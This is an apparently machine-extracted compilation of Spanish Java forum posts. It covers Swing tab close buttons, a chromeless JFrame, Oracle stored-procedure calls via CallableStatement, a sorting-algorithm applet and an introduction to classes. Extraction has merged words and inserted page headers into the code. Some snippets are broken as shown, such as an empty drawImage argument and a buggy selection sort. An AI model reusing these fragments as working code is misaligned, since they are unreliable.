http://slidepdf.com/reader/full/java-foros 27/169
clase* * @return retorna el valor de la longitud
maxima de un nombre de propiedad */
private int getMaxLenght(Field [] f){ int max = 0; for(Field field:f)
max = field.getName ().length () > max ? field.getName ().length ():max;
return max; }
/** * Este metodo se encarga de poner el relleno en para
que en la visualizacion se vean* alineadas las propiedades de la clase* * @param s Define la cadena a rellenar * @param l Define la longitud final que
debe tener la cadena de retorno * @param r Define el caracter de relleno * @return*/
private String rellenaEspacios(String s, int l, char r){
if(s == null || s.isEmpty () || l <= s.length ()) return s;
StringBuilder sb = new StringBuilder (s); for(int indice = s.length (); indice < l;
indice++) sb.append (r);
return sb.toString (); }
Pues espro que a alguien le sirva y claro, recuerden que este lo hice a mis necesidades y si
quieren que haga mas monerias pus' ahi tienen el codigo!
Por cierto, a mi me gustaria usarlo esto e varias clases, pero eso decopiar y pegar como qeno va muy bien. Si alguie ha utilizado http://projectlombok.org/ sabrá que por ejemplo lepone:
@Setter (AccessLevel.PUBLIC) private String miCadena;
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 28/169
y por lo que lei que cuando compila ya le genero el suguiente codigo:
public void setMiCadena(String miCadena){ this.miCadena = miCadena;
}
y asi con el @Getter y varias cosas mas... Bueno el punto es que si alguien sabe hacerlo y leinteresa este codigo pues vamos!!
JCheckBox en la Cabecera de un JTable
Es increible lo que se puede hacer con java, hace poco publique como colocar una X en laspestañas de un JTabbedPane, y ahora les voy a mostrar como colocar un JCheckBox en lacabecera de un JTable.
Al seleccionar el JCheckBox de la cabecera se seleccionaran todos los que estan en cadafila.
Pueden ver todo el codigo en Java Zone
Colocar X en nuestras Pestañas
JTabbedPane con X
Ahora veremos como podemos modificar el componente JTabbedPane para agregarleun botón con una X para cerrar la pestaña.
Es común ver en los navegadores esta opción, y por que no poder usarla en nuestrasaplicaciones. Ademas para este ejemplo usamos dos tipos de X, una dibujada y la otra esuna imagen.
Imágenes
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 29/169
Código
Clase Principal
package Clases;
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 30/169
import java.awt.BorderLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.*;
import javax.swing.UnsupportedLookAndFeelException;
public class Principal extends JApplet {
JTabbedPane pestañas;
public void init(){
colocarSkin(); pestañas=new JTabbedPane();
colocarPestañasPredeterminadas();
JPanel pboton=new JPanel();
JButton restaurar=new JButton("Restaurar"); restaurar.addActionListener(new ActionListener(){
@Override public void actionPerformed(ActionEvent e) {
for(int i=0;i<
pestañas.getTabCount();i++){ pestañas.removeTabAt(i); } colocarPestañasPredeterminadas(); }
}); pboton.add(restaurar);
add(pestañas); add(pboton,BorderLayout.SOUTH); }
public void colocarPestañasPredeterminadas() { JPanel p1=new JPanel(); p1.add(new JLabel("Java Zone"));
JPanel p2=new JPanel(); p2.add(new JLabel("JTabbedPane con X como imagen"));
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 31/169
JPanel p3=new JPanel(); p3.add(new JLabel("JTabbedPane con X dibujada"));
PanelTab btc=new PanelTab(pestañas,0); PanelTab btc2=new PanelTab(pestañas,1);
PanelTab btc3=new PanelTab(pestañas,0);
pestañas.addTab("Prueba", p1); pestañas.addTab("Prueba Java Zone", p2); pestañas.addTab("Prueba Java Zone", p3); pestañas.setTabComponentAt(0, btc); pestañas.setTabComponentAt(1, btc2); pestañas.setTabComponentAt(2, btc3); }
public void colocarSkin(){ try {
UIManager.setLookAndFeel("com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel");
} catch (ClassNotFoundException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace();
} catch (UnsupportedLookAndFeelException e) { e.printStackTrace(); }
} }
Clase PanelTab
package Clases;
import java.awt.*; import java.awt.event.*; import javax.swing.*; import javax.swing.plaf.basic.BasicButtonUI;
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 32/169
public class PanelTab extends JPanel {
JTabbedPane pestañas; int tipo;
public PanelTab(JTabbedPane p,int op) {
if (p != null) {
this.pestañas = p; tipo=op;
setOpaque(false);
JLabel titulo = new JLabel() {
public String getText() { int i = pestañas.indexOfTabComponent(PanelTab.this); if (i != -1) {
return pestañas.getTitleAt(i); } return null;
} };
add(titulo);
titulo.setBorder(BorderFactory.createEmptyBorder(0, 0, 0, 5)); JButton button = new BotonX(pestañas,this,tipo); add(button);
} }
}
Clase BotonX
package Clases;
import java.awt.*; import java.awt.event.*; import javax.swing.*; import javax.swing.plaf.basic.BasicButtonUI;
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 33/169
public class BotonX extends JButton implements MouseListener {
JTabbedPane panel; PanelTab btc;
int tipo;
public BotonX(JTabbedPane pane,PanelTab btc,int op) { panel=pane; this.btc=btc; tipo=op;
int size = 17; setPreferredSize(new Dimension(size, size)); setToolTipText("Cerrar Pestaña"); setUI(new BasicButtonUI()); setContentAreaFilled(false);
setFocusable(false); setBorder(BorderFactory.createEtchedBorder()); setBorderPainted(false); addMouseListener(this); setRolloverEnabled(true); addActionListener(new ActionListener(){
@Override public void actionPerformed(ActionEvent e) { int i = panel.indexOfTabComponent(BotonX.this.btc);
if (i != -1) { panel.remove(i); }
} });
}
public void updateUI() { }
protected void paintComponent(Graphics g) { super.paintComponent(g); Graphics2D g2 = (Graphics2D) g.create(); if(tipo==0){ if (getModel().isPressed()) { g2.translate(1, 1); } g2.setStroke(new BasicStroke(3)); g2.setColor(Color.BLACK); if (getModel().isRollover()) {
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 34/169
g2.setColor(Color.RED); } g2.drawLine(5, 5, 12, 12); g2.drawLine(12, 6, 6, 12); g2.dispose();
}else{ ImageIcon img=new ImageIcon(this.getClass().getResource("../lib/cerrar.png")); g2.drawImage(img.getImage(), 1, ,14,14, this); g2.dispose();
} }
@Override public void mouseClicked(MouseEvent e) { // TODO Auto-generated method stub
}
@Override public void mouseEntered(MouseEvent e) { Component component = e.getComponent();
if (component instanceof AbstractButton) { AbstractButton button = (AbstractButton) component; button.setBorderPainted(true);
}
}
@Override public void mouseExited(MouseEvent e) { Component component = e.getComponent();
if (component instanceof AbstractButton) { AbstractButton button = (AbstractButton) component; button.setBorderPainted(false);
} }
@Override public void mousePressed(MouseEvent e) { // TODO Auto-generated method stub
}
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 35/169
@Override public void mouseReleased(MouseEvent e) { // TODO Auto-generated method stub
}
}
La clase Principal crea el JTabbePane, luego creo tres pestañas y también creo tres objetosPanelTab que no es mas que un panel en el que agregaremos el titulo y el botón con la X.Luego le indico a cada pestaña un objeto PanelTab, esto lo hacemos conel método setTabComponentAt() de JTabbedPane.
Luego creo un panel para agregar el botón restaurar que lo que hace es restaurar todas laspestañas por si el usuario las cerro.
La clase PanelTab, crea un JLabel con el titulo de la pestaña y agrega un BotonX, que esuna clase que hereda de JButton.
La clase BotonX hereda de JButton y tiene dos opciones, la primera es dibujar un a X, ycuando el cursor esta sobre ella cambia de color de negro a rojo. La segunda opción es quecoloca una Imagen de una X. Ademas posee un ActionListener que indica que cuando se daclic al botón la pestaña se cierra.
Applet
Posted 11th February by Roger
Yo hice una pequeño frame hace tiempo ( con fines recreativos ) que estaba igualita achrome. Solo tienes que echarle un poco de "coco" pero es casi natural.
En resúmen, tienes que ocultar el header ( la barra de titulo ) con frame.setUndecorated(
true ); con lo cual pierdes automáticamente la posibilidad de darle usar el drag / resizeetc. con el mouse y claro, también los botones de maximizar y cerrar. Para compensarlotienes que poner tres botones con border = 0 ( o sin borde ) que sustituyan esafuncionalidad y además agregar un mouse listener al componente principal para que cuandohaya un click y se arrastre, seas tu quién mueve el frame.
Para que me entiendas mejor algo así:
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 36/169
import javax.swing.*; import java.awt.*;
class Chromeless { public static void main( String ... args ) {
JFrame f = new JFrame(); f.setUndecorated( true ); f.add( new JPanel(new
FlowLayout(FlowLayout.RIGHT)){{ add( new JButton("X")); add( new JButton("_"));
}}, BorderLayout.NORTH ); f.add( new JLabel("Content goes here")); f.setSize( 200, 100 );
f.setLocation( 200, 300 ); f.setVisible( true ); }
}
Y hay que agregarle los listener que pierdes al ponerlo como undecorated = true
Obvio hay que trabajar en los botones, para darle el tamaño adecuado, ponerles imagenesen vez de texto ( X y _ ) e imagenes para cuando pasas el mouse etc. etc. con un poco detiempo ( menos de 3 días ) debería de hacer algo decente.
Procedimientos Almacenados Oracle desdeJava
Ya se que nunca posteo, pero hoy decidí romper la rutina :-D
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 37/169
Como mandarllamar procedimientos almacenados desde Java, un poco más específicoutilizando el EntityManager...Tengo un DataSource configurado en el AppServer
con el EntityManager se pueden ejecutar directamente procedimientos, pero no pude
obtener los parámetros de salida, es por eso que lo hice de otra manera... primero se hacereferencia al DataSource para obtener la conexion
@Resource(name = "jdbc/myDS") private DataSource dataSource;
luego para realizar la ejecucion del procedimiento se hace lo siguiente
Connection conn=null; //se declara una variable Connection
try{
conn = this.dataSource.getConnection();// se obtiene laconexion del DataSource antes declarado
CallableStatement cs = null;
cs = conn.prepareCall("call procedure(?,?,?,?,?)");
//Se settean las variables de entrada del procedimiento
cs.setInt("IN_ID",837);
SimpleDateFormat sdf= new SimpleDateFormat("dd/MM/yyyy");
Date date= sdf.parse("22/06/2004");
cs.setTimestamp("IN_FECHA",new Timestamp(date.getTime()));
cs.setDouble("IN_VALOR",1.8);
//Se registran las variables de salida del procedimiento
cs.registerOutParameter("OUT_ED",Types.INTEGER);
cs.registerOutParameter("OUT_CVE",Types.INTEGER);
cs.execute();//Ejecución del procedimiento
// aca de obtienen las variables de salida del procedimiento
System .out.println(cs.getInt("OUT_ED"));
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 38/169
System .out.println(cs.getInt("OUT_CVE"));
conn.close();
}catch(SQLException e){e.printStackTrace();}catch(Exception er){
er.printStackTrace();
}
Así es como lo implementé, también se puede hacer mediente indices es decir
cs = conn.prepareCall("call procedure(?,?,?,?,?)");
cs.setInt(1,837);
SimpleDateFormat sdf= new SimpleDateFormat("dd/MM/yyyy");
Date date= sdf.parse("22/06/2004");
cs.setTimestamp("IN_FECHA",new Timestamp(date.getTime()));
cs.setDouble("IN_VALOR",1.8);
si alguien tiene alguna mejor manera de hacerlo, compártalo, espero y le sirva a alguién....
La conexión deberías cerrarla en el finally, no dentro del try. Si ocurre una excepción en tucódigo así como está, se va a quedar esa conexión abierta.
Connection conn = null;//try {//blabla todo tu codigo aqui excepto el close()
} catch (SQLException ex) {//manejar la excepcion
} finally {if (conn != null) {try {
conn.close();} catch (SQLException ex) {
//ni modo no se pudo cerrar}
}
De esa forma la conexión siempre se cierra, haya excepción o no.
Métodos de Ordenamiento.
Bueno pues aquí les dejo una tarea que me dejaron ami para alguien que le sirva luegoadjunto la información de cada método. Si tengo algunas cosas mal con gusto digamenlasporfavor se los agradecería y si hay algo que puedo mejorar aun.
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 39/169
import java.applet.Applet; import java.awt.Button; import java.awt.Color; import java.awt.Event; import java.awt.Graphics; import java.awt.Label; import java.awt.Rectangle; import java.awt.Scrollbar; import java.awt.TextField; import java.awt.event.ActionEvent; import java.util.Random;
/** * @author Ferreyra* */
public class Ordenamiento extends Applet implements Runnable {
int numMax=27; //Número máximo de elmentos a ordenar int numAleat=20; //Cantidad de números aleatorios generados //(al inicio siempre será 20). int y[] = new int[numMax]; int x[] = new int[numMax]; int x2[] = new int[numMax]; int x3[] = new int[numMax]; int x4[] = new int[numMax]; int x5[] = new int[numMax];
int x6[] = new int[numMax]; int x7[] = new int[numMax]; int x8[] = new int[numMax];
Thread hilo, hilo2, hilo3, hilo4, hilo5, hilo6, hilo7,hilo8; Button button1 = new Button(); Button button10 = new Button(); Button button2 = new Button(); Button button3 = new Button(); Button button4 = new Button();
Button button5 = new Button(); Button button6 = new Button(); Button button7 = new Button(); Button button8 = new Button(); Scrollbar barraDes = new Scrollbar(); TextField cantidadAleatorios = new TextField (); Label label2 = new Label(); Label label1 = new Label();
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 40/169
Label label3 = new Label(); Label label4 = new Label();
private int l; private int i1; private int k; private int num;
/**Inicializar el applet*/ public void init() {
try { jbInit();
} catch(Exception e) { e.printStackTrace();
} }
/**Inicialización de componentes*/ private void jbInit() throws Exception {
button1.setEnabled(false); button1.setFont(new java.awt.Font("Dialog", 1, 11)); button1.setLabel("Burbuja"); button1.setBounds(new Rectangle(35, 140, 100, 22)); button1.addActionListener(new
java.awt.event. ActionListener() { public void actionPerformed( ActionEvent e) {
button1_actionPerformed(e);
} }); button2.setEnabled(false); button2.setFont(new java.awt.Font("Dialog", 1, 11)); button2.setLabel("Quiksort"); button2.setBounds(new Rectangle(175, 140, 100, 22)); button2.addActionListener(new
java.awt.event. ActionListener() { public void actionPerformed( ActionEvent e) {
button2_actionPerformed(e); }
}); button3.setEnabled(false); button3.setFont(new java.awt.Font("Dialog", 1, 11)); button3.setLabel("Shellsort"); button3.setBounds(new Rectangle(315, 140, 100, 22)); button3.addActionListener(new
java.awt.event. ActionListener() { public void actionPerformed( ActionEvent e) {
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 41/169
button3_actionPerformed(e); }
}); button4.setEnabled(false); button4.setFont(new java.awt.Font("Dialog", 1, 11));
button4.setLabel("Bucketsort"); button4.setBounds(new Rectangle(455, 140, 100, 22)); button4.addActionListener(new
java.awt.event. ActionListener() { public void actionPerformed( ActionEvent e) {
button4_actionPerformed(e); }
}); button5.setEnabled(false); button5.setFont(new java.awt.Font("Dialog", 1, 11)); button5.setLabel("Insertionsort"); button5.setBounds(new Rectangle(595, 140, 100, 22)); button5.addActionListener(new
java.awt.event. ActionListener() { public void actionPerformed( ActionEvent e) {
button5_actionPerformed(e); }
}); button6.setEnabled(false); button6.setFont(new java.awt.Font("Dialog", 1, 11)); button6.setLabel("Selectionsort"); button6.setBounds(new Rectangle(735, 140, 100, 22)); button6.addActionListener(new
java.awt.event. ActionListener() { public void actionPerformed( ActionEvent e) {
button6_actionPerformed(e); }
}); button7.setBounds(new Rectangle(35, 305, 100, 22)); button7.setLabel("Mergesort"); button7.setFont(new java.awt.Font("Dialog", 1, 11)); button7.setEnabled(false); button7.addActionListener(new
java.awt.event. ActionListener() {
public void actionPerformed( ActionEvent e) { button7_actionPerformed(e);
} }); button8.setEnabled(false); button8.setFont(new java.awt.Font("Dialog", 1, 11)); button8.setLabel("Radixsort"); button8.setBounds(new Rectangle(735, 305, 100, 22));
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 42/169
button8.addActionListener(new java.awt.event. ActionListener() {
public void actionPerformed( ActionEvent e) { button8_actionPerformed(e);
}
}); button10.setFont(new java.awt.Font("Dialog", 1, 11)); button10.setForeground(Color.blue); button10.setLabel("Generar Números"); button10.setBounds(new Rectangle(374, 253, 140, 22)); button10.addActionListener(new
java.awt.event. ActionListener() { public void actionPerformed( ActionEvent e) {
button10_actionPerformed(e); }
}); barraDes.setBackground(Color.blue); barraDes.setEnabled(true); barraDes.setForeground(Color.white); barraDes.setMaximum(27); barraDes.setVisibleAmount(0); barraDes.setOrientation(0); barraDes.setPageIncrement(1); barraDes.setUnitIncrement(1); barraDes.setValue(19); barraDes.setBounds(new Rectangle(382, 223, 124, 21));
cantidadAleatorios.setBackground(Color.white);
cantidadAleatorios.setEditable(false); cantidadAleatorios.setEnabled(true); cantidadAleatorios.setFont(new java.awt.Font("Dialog", 1,
12)); cantidadAleatorios.setForeground(Color.blue); cantidadAleatorios.setText("20"); cantidadAleatorios.setBounds(new Rectangle(436, 201, 21,
21));
label1.setEnabled(true); label1.setForeground(Color.blue);
label1.setText("1"); label1.setBounds(new Rectangle(371, 224, 14, 15)); label2.setEnabled(true); label2.setForeground(Color.blue); label2.setText("27"); label2.setBounds(new Rectangle(511, 225, 18, 13)); label3.setFont(new java.awt.Font("SansSerif", 0, 11)); label3.setForeground(Color.blue);
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 43/169
label3.setText("Para generar la cantidad indicada denumeros aleatorios, es necesario");
label3.setBounds(new Rectangle(275, 285, 346, 18)); label4.setFont(new java.awt.Font("SansSerif", 0, 11)); label4.setForeground(Color.blue);
label4.setText("que no se esté ejecutando ningún métodode ordenamiento."); label4.setBounds(new Rectangle(303, 300, 294, 16)); this.setFont(new java.awt.Font("Dialog", 0, 10)); this.setLayout(null);
this.add(button1, null); this.add(button2, null); this.add(button3, null); this.add(button4, null); this.add(button5, null); this.add(button6, null); this.add(button7, null); this.add(button8, null); this.add(button10, null); this.add(label2, null); this.add(label1, null); this.add(label4, null); this.add(label3, null); this.add(barraDes, null); this.add(cantidadAleatorios, null);
}
public void activa(){ cantidadAleatorios.setEnabled(true); label1.setEnabled(true); label2.setEnabled(true); barraDes.setEnabled(true); button10.setEnabled(true);
}
public void activa2(){ button1.setEnabled(true); button2.setEnabled(true);
button3.setEnabled(true); button4.setEnabled(true); button5.setEnabled(true); button6.setEnabled(true); button7.setEnabled(true); button8.setEnabled(true);
}
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 44/169
public void desactiva(){ cantidadAleatorios.setEnabled(false); label1.setEnabled(false); label2.setEnabled(false); barraDes.setEnabled(false); button10.setEnabled(false);
}
/**Eventos de Scrollbar:*/ public boolean handleEvent( Event evt ) {
if( evt.target.equals(barraDes) ) { cantidadAleatorios.setText( Integer.toString(
((Scrollbar) evt.targe
t).getValue()+1)); numAleat=((Scrollbar)evt.target).getValue()+1; return true;
} return super.handleEvent( evt );
}
void button1_actionPerformed( ActionEvent e) { button1.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x[v] = y[v]; start(1);
}
void button2_actionPerformed( ActionEvent e) { button2.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x2[v] = y[v]; start(2);
}
void button3_actionPerformed( ActionEvent e) { button3.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x3[v] = y[v];
start(3); }
void button4_actionPerformed( ActionEvent e) { button4.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x4[v] = y[v];
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 45/169
start(4); }
void button5_actionPerformed( ActionEvent e) { button5.setEnabled(false);
desactiva(); for(int v=0; v<y.length; v++) x5[v] = y[v]; start(5);
}
void button6_actionPerformed( ActionEvent e) { button6.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x6[v] = y[v]; start(6);
}
void button7_actionPerformed( ActionEvent e) { button7.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x7[v] = y[v]; start(7);
} void button8_actionPerformed( ActionEvent e) { button8.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x8[v] = y[v]; start(8);
}
void button10_actionPerformed( ActionEvent e) {
generaAleat(); for(int v=0; v<y.length; v++){ x[v] = y[v]; x2[v] = y[v]; x3[v] = y[v]; x4[v] = y[v]; x5[v] = y[v];
x6[v] = y[v]; x7[v] = y[v]; x8[v] = y[v];
} repaint(); activa2();
}
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 46/169
/**Ejecución del hilo*/ public void start(int i){
if(i==1){ hilo = new Thread (this); hilo.start();
} else if(i==2){ hilo2 = new Thread (this); hilo2.start();
} else if(i==3){ hilo3 = new Thread (this); hilo3.start();
} else if(i==4){ hilo4 = new Thread (this); hilo4.start();
} else if(i==5){ hilo5 = new Thread (this); hilo5.start();
} else if(i==6){ hilo6 = new Thread (this); hilo6.start();
} else if(i==7){ hilo7 = new Thread (this);
hilo7.start(); } else if(i==8){ hilo8 = new Thread (this); hilo8.start();
} }
public void stop(int i){ if(i==1) hilo = null;
else if(i==2) hilo2 = null;
else if(i==3) hilo3 = null;
else if(i==4) hilo4 = null;
else if(i==5) hilo5 = null;
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 47/169
else if(i==6) hilo6 = null;
else if(i==7) hilo7 = null;
else if(i==8) hilo8 = null;
}
void pausa(){ repaint(); try { Thread .sleep(100); } catch (InterruptedException e) {}
}
public void run(){ Thread hiloActual = Thread .currentThread();
if (hiloActual == hilo) { Burbuja(); stop(1); button1.setEnabled(true);
} if (hiloActual == hilo2) { quiksort(x2, 0, numAleat-1); stop(2); button2.setEnabled(true);
} if (hiloActual == hilo3) {
shellsort(); stop(3); button3.setEnabled(true);
} if (hiloActual == hilo4) { bucksort(); stop(4); button4.setEnabled(true);
} if (hiloActual == hilo5) { insertionsort();
stop(5); button5.setEnabled(true);
} if (hiloActual == hilo6) { selectionsort(); stop(6); button6.setEnabled(true);
}
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 48/169
if (hiloActual == hilo7) { mergesort(); stop(7); button7.setEnabled(true);
}
if (hiloActual == hilo8) { radixsort(); stop(8); button8.setEnabled(true);
} if(hilo==null && hilo2==null&& hilo3==null&&
hilo4==null&& hilo5==null&& hilo6==null && hilo7==null && hilo8==null) activa();
}
/**Dibuja las lineas a ordenar (la primera vez que se
visualiza el applet).*/ public void paint(Graphics g){
int p=0;
g.setColor(Color.white); g.fillRect(35,15,100,115); g.fillRect(175,15,100,115); g.fillRect(315,15,100,115); g.fillRect(455,15,100,115); g.fillRect(595,15,100,115); g.fillRect(735,15,100,115);
g.fillRect(35,180,100,115); g.fillRect(735,180,100,115); g.setColor(Color.black); for(int i=0; i<numAleat; i++){ g.drawLine(45+p,120,45+p,120-x[i]); g.drawLine(185+p,120,185+p,120-x2[i]); g.drawLine(325+p,120,325+p,120-x3[i]); g.drawLine(465+p,120,465+p,120-x4[i]); g.drawLine(605+p,120,605+p,120-x5[i]); g.drawLine(745+p,120,745+p,120-x6[i]); g.drawLine(45+p,285,45+p,285-x7[i]);
g.drawLine(745+p,285,745+p,285-x8[i]); p+=3;
} }
/**Actualiza (mediante la llamada repaint)las lineas que seordenan.
* Este método evita el parpadeo (flickering).*/
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 49/169
public void update(Graphics e){ int p=0;
e.setColor(Color.white); e.fillRect(35,15,100,115);
e.fillRect(175,15,100,115); e.fillRect(315,15,100,115); e.fillRect(455,15,100,115); e.fillRect(595,15,100,115); e.fillRect(735,15,100,115); e.fillRect(35,180,100,115); e.fillRect(735,180,100,115); e.setColor(Color.black); for(int i=0; i<numAleat; i++){ e.drawLine(45+p,120,45+p,120-x[i]); e.drawLine(185+p,120,185+p,120-x2[i]); e.drawLine(325+p,120,325+p,120-x3[i]); e.drawLine(465+p,120,465+p,120-x4[i]); e.drawLine(605+p,120,605+p,120-x5[i]); e.drawLine(745+p,120,745+p,120-x6[i]); e.drawLine(45+p,285,45+p,285-x7[i]); e.drawLine(745+p,285,745+p,285-x8[i]); p+=3;
} }
void Burbuja(){ int b, j, t, n;
n = numAleat-1; do{ b = 0; for(j=0; j<n; j++){
if(x[j] > x[j+1]){ t = x[j]; x[j] = x[j+1]; x[j+1] = t; pausa(); //************************ b++;
}
} n--;
} while(b > 0);
}
public void quiksort(int x2[],int lo,int ho){ int t, l=lo, h=ho, mid;
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 50/169
if(ho>lo){ mid=x2[(lo+ho)/2]; while(l<h){ while((l<ho)&&(x2[l]<mid)) ++l; while((h>lo)&&(x2[h]>mid)) --h;
if(l<=h){ t = x2[l]; x2[l] = x2[h]; x2[h] = t; pausa(); //************************ ++l; --h;
} } if(lo<h) quiksort(x2,lo,h); if(l<ho) quiksort(x2,l,ho);
} }
public void shellsort(){ int n = numAleat; //numero de elementos a ordenar int i, j; // Indices para manipular el arreglo int tamPasada; // Tamanno de los "subarreglos" ordenados
en cada pasada int temporal; // Almacenamiento temporal para los
intercambios
// Calcular tamanno optimo de la primera pasada
for( tamPasada = 1; tamPasada <= (n / 9); tamPasada = (3 * tamPasada + 1))
; // Instruccion nula
// Ordenar en cada pasada subarreglos de tamPasada
tamanno, hasta llegar a // tamanno 1 for( ; tamPasada > 0; tamPasada /= 3){
for(i = tamPasada; i < n; i += tamPasada){ temporal = x3[ i ]; j = i; // Preparar variables
por si hay
// intercambio
// Hacer espacio dentro del "subarreglo" actual si
se encontro un // elemento menor while( j >= tamPasada && x3[ j - tamPasada ] >
temporal ){ x3[ j ] = x3[ j - tamPasada ];
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 51/169
j -= tamPasada; }; x3[ j ] = temporal; // Insertar elemento menor en
su lugar pausa(); //************************
}; // for i
}; // for tamPasada }
public void bucksort(){ int bindex; //Variable que llevara el control del indice
del arreglo int i; //Variable que llevara el control del indice del
arreglo int max=numAleat; //Variable para leer el numero de
elementos del vector //a ordenar
int buck[] = new int [256]; //Arreglo de elementos nomayor de 256
for (bindex=0;bindex<max;bindex++) //Ciclo para llenar elarreglo
buck[bindex]=0; //auxiliar Buck con
ceros //del mismo tamaño que
nuestro vector for (i=0;i<max;i++) //Ciclo que hace a buck buck[x4[i]]++;
i=0;
bindex=0; //reinicia los indices a cero while(i<max){ //mientras que no enuentre el final del
arreglo realiza //lo siguiente
while(buck[bindex]==0) bindex++; //
x4[i]=bindex; pausa(); //************************ buck[bindex]--; i++;
} // Termina el While
}
public void insertionsort(){ for(int i=1; i<numAleat; i++){
int v=x5[i]; int j=i; while(j>0 && x5[j-1]>v){
x5[j]=x5[j-1];
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 52/169
x5[j-1]=v; pausa(); j--; v=x5[j];
}
} }
public void selectionsort(){ int a, b, menor;
for(a=0; a<numAleat-1; a++){ menor=x6[a]; for( b=a+1; b<numAleat; b++){ if(menor>x6[b]){
menor=x6[b]; x6[b]=x6[a]; x6[a]=menor; pausa(); //************************
} }
} }
public void mergesort(){ int n = numAleat; int[] aux = new int[n]; int i, j, k, l1, l2, u1, u2, size = 1;
while (size < n) { l1 = 0; k = 0; while ( (l1 + size) < n) { l2 = l1 + size; u1 = l2 - 1; u2 = (l2 + size - 1 < n) ? l2 + size - 1 : n - 1; for (i = l1, j = l2; (i <= u1) && (j <= u2); k++) if (x7[i] <= x7[j]) aux[k] = x7[i++];
elseaux[k] = x7[j++];
for (; i <= u1; k++) aux[k] = x7[i++];
for (; j <= u2; k++) aux[k] = x7[j++];
l1 = u2 + 1; } //while
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 53/169
for (i = l1; k < n; i++) aux[k++] = x7[i];
for (i = 0; i < n; i++) x7[i] = aux[i]; pausa(); //************************
size = size * 2; } //while }
public void radixsort(){ for(int i=0; i<numAleat; i++) x8[i]=0;
setK(0); int c=0; setL(0);
int varin=10; setNum(0);
int nume=0; setI1(0);
for(int count=0; count<10; count++) for(int i=0; i<numAleat; i++) if ( y[i]%varin==count){ x8[c]=y[i]; c++;
} for(int pasada=1; pasada<numAleat; pasada++)
for(int j=0; j<numAleat -1 ;j++) if ( (x8[j]-x8[j]%varin)/10>(x8[j+1]-
x8[j+1]%varin)/10){ nume = x8[j]; x8[j] = x8[j+1]; x8[j+1] = nume; pausa(); //************************
} }
//Constructor de la clase, recibe la cantidad de aleatorios
a generar public void generaAleat(){
Random generador=new Random ();
for(int i=0;i<numAleat;i++){ y[i]=generador.nextInt()%100;
if(y[i]<0)
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 54/169
y[i]*=-1; }
}
public void setL(int l) { this
.l = l; }
public int getL() { return l;
}
public void setI1(int i1) { this.i1 = i1;
}
public int getI1() { return i1;
}
public void setK(int k) { this.k = k;
}
public int getK() { return k;
}
public void setNum(int num) { this.num = num;
}
public int getNum() { return num;
}
}
Saludos.
Programacion Orientada a Objetos Las Clases y los Objetos son elementos importantes de la P.O.O. (Programación Orientadaa Objetos). Podemos definir Clase como una ―entidad abstracta‖ o abstracción de unconcepto que define a los objetos. Un objeto es una instancia de una Clase, en otraspalabras un Objeto es una "entidad concreta".
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 55/169
Una clase describe un comportamiento y estructura, que serán adoptados por cada Objeto.Para esto en una clase se definen variables miembro (también llamados atributos) ymétodos para manipular dichas variables (estudiar concepto de encapsulación)
Cada objeto se distingue de los demás por su estado, es decir los valores de sus atributos.
1.-Clases
Una clase es un tipo de dato abstracto equipado con una implementación posiblementeparcial.
Como un TDA (Tipo de Datos Abstracto), una clase es un tipo pues describe un conjuntode posibles estructuras de datos, llamados los atributos o variables de instancia de la clase.Los TDAs también tienen instancias; la diferencia es que una instancia de un TDA es unelemento puramente matemático (un miembro de algún conjunto matemático), mientras queuna instancia de una clase es una estructura de datos que puede ser representada en la
memoria de un computador y manipulado por un sistema de software.
Control de Acceso puede ser: private, public o protected .
Sintaxis para Definir una clase:
<control de acceso> class <nombre clase> {<atributos><constructores><métodos>}
Tipos de Clases:
abstract
Una clase abstract tiene al menos un método abstracto. Una clase abstracta no se instancia,sino que se utiliza como clase base para la herencia.
final
Una clase final se declara como la clase que termina una cadena de herencia. No se puedeheredar de una clase final. Por ejemplo, la clase Math es una clase final.
public
